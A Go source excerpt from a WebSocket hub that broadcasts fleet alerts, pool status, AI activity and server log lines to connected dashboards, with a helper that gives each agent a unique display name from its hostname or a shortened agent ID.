func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
	h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}

func (h *WSHub) BroadcastPoolStatus(status interface{}) {
	h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
}

func (h *WSHub) BroadcastAIActivity(entry interface{}) {
	h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}

// agentDisplayName returns a display name that is unique per physical machine.
// Hostname is preferred because it's machine-specific — many agents deployed from
// the same binary would otherwise share the same baked-in worker name, making
// a large fleet impossible to differentiate.
func agentDisplayName(workerName, worker, hostname, agentID string) string {
	if hostname != "" {
		return hostname
	}
	// No hostname reported — make the worker name unique with a short agent ID suffix.
	base := workerName
	if base == "" {
		base = worker
	}
	if base == "" {
		base = "agent"
	}
	return base + "-" + shortAgentID(agentID)
}

func shortAgentID(id string) string {
	if len(id) >= 8 {
		return id[:8]
	}
	if id == "" {
		return "agent"
	}
	return id
}

// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
	line = strings.TrimSpace(line)
	if line == "" {
		return
	}
	h.broadcastDashboard(Message{
		Type:    "server_log",
		Payload: mustMarshal(map[string]string{"line": line}),
	})
}